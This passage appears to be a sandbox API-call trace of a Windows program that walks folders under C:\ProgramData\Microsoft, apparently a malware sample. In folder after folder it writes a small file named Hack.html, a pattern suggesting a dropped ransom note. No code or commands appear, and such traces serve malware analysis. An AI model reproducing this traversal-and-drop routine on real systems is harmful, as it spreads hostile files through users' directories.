| out: lpFindFileData=0x39ea94) returned 1 [0071.334] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.334] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.334] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.334] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.334] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.335] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.335] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.335] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.335] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.335] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.336] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036", lpFilePart=0x0) returned 0x2f [0071.336] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpFilePart=0x0) returned 0x30 [0071.336] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.337] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.338] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.338] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.338] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.338] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.338] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.340] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.340] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.340] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.340] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.340] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.340] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.341] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.341] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.341] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.341] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.341] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.342] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.342] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.342] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.342] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.342] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.342] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.343] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.343] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.344] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", lpFilePart=0x0) returned 0x39 [0071.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.344] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.345] GetFileType (hFile=0x174) returned 0x1 [0071.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.345] GetFileType (hFile=0x174) returned 0x1 [0071.346] WriteFile (in: hFile=0x174, lpBuffer=0x287c9b4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x287c9b4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0071.347] CloseHandle (hObject=0x174) returned 1 [0071.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.347] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082", lpFilePart=0x0) returned 0x2f [0071.347] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpFilePart=0x0) returned 0x30 [0071.347] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.358] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.360] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.360] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.360] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.361] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.361] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.361] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.361] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.361] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.361] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.361] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.362] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.362] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.362] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.362] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.362] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.362] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.362] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.363] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.363] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.363] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.363] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.363] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.363] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.364] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.364] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.364] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.364] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.364] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.364] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.365] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082", lpFilePart=0x0) returned 0x2f [0071.365] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpFilePart=0x0) returned 0x30 [0071.366] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.367] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.367] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.367] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.367] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.367] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.368] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.368] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.368] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.368] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.368] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.368] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.370] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.370] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.370] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.370] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.370] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.370] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.371] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.371] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.371] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.371] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.371] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.372] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.372] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.372] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.372] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.372] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.372] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.372] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.372] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.373] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", lpFilePart=0x0) returned 0x39 [0071.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.374] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.384] GetFileType (hFile=0x174) returned 0x1 [0071.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.384] GetFileType (hFile=0x174) returned 0x1 [0071.385] WriteFile (in: hFile=0x174, lpBuffer=0x2886808*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2886808*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0071.386] CloseHandle (hObject=0x174) returned 1 [0071.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\Hack.html", lpFilePart=0x0) returned 0x34 [0071.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.386] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\Hack.html" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.386] GetFileType (hFile=0x174) returned 0x1 [0071.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.387] GetFileType (hFile=0x174) returned 0x1 [0071.387] WriteFile (in: hFile=0x174, lpBuffer=0x2888fe0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2888fe0*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.388] CloseHandle (hObject=0x174) returned 1 [0071.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\Hack.html", lpFilePart=0x0) returned 0x29 [0071.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.388] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\Hack.html" (normalized: "c:\\programdata\\microsoft\\office\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.388] GetFileType (hFile=0x174) returned 0x1 [0071.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.389] GetFileType (hFile=0x174) returned 0x1 [0071.389] WriteFile (in: hFile=0x174, lpBuffer=0x288b788*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x288b788*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.390] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x39 [0071.390] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpFilePart=0x0) returned 0x3a [0071.390] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.391] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.391] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.391] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.391] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.391] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.391] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x39 [0071.391] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpFilePart=0x0) returned 0x3a [0071.391] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.391] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.391] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.392] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.392] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.392] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.392] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x3f [0071.392] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", lpFilePart=0x0) returned 0x40 [0071.392] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.392] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.392] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.393] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.393] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.393] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x3f [0071.393] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", lpFilePart=0x0) returned 0x40 [0071.393] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.393] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.393] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.393] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.393] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.394] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", lpFilePart=0x0) returned 0x49 [0071.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.394] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.394] GetFileType (hFile=0x174) returned 0x1 [0071.394] GetFileType (hFile=0x174) returned 0x1 [0071.394] WriteFile (in: hFile=0x174, lpBuffer=0x28915f8*, nNumberOfBytesToWrite=0xba, 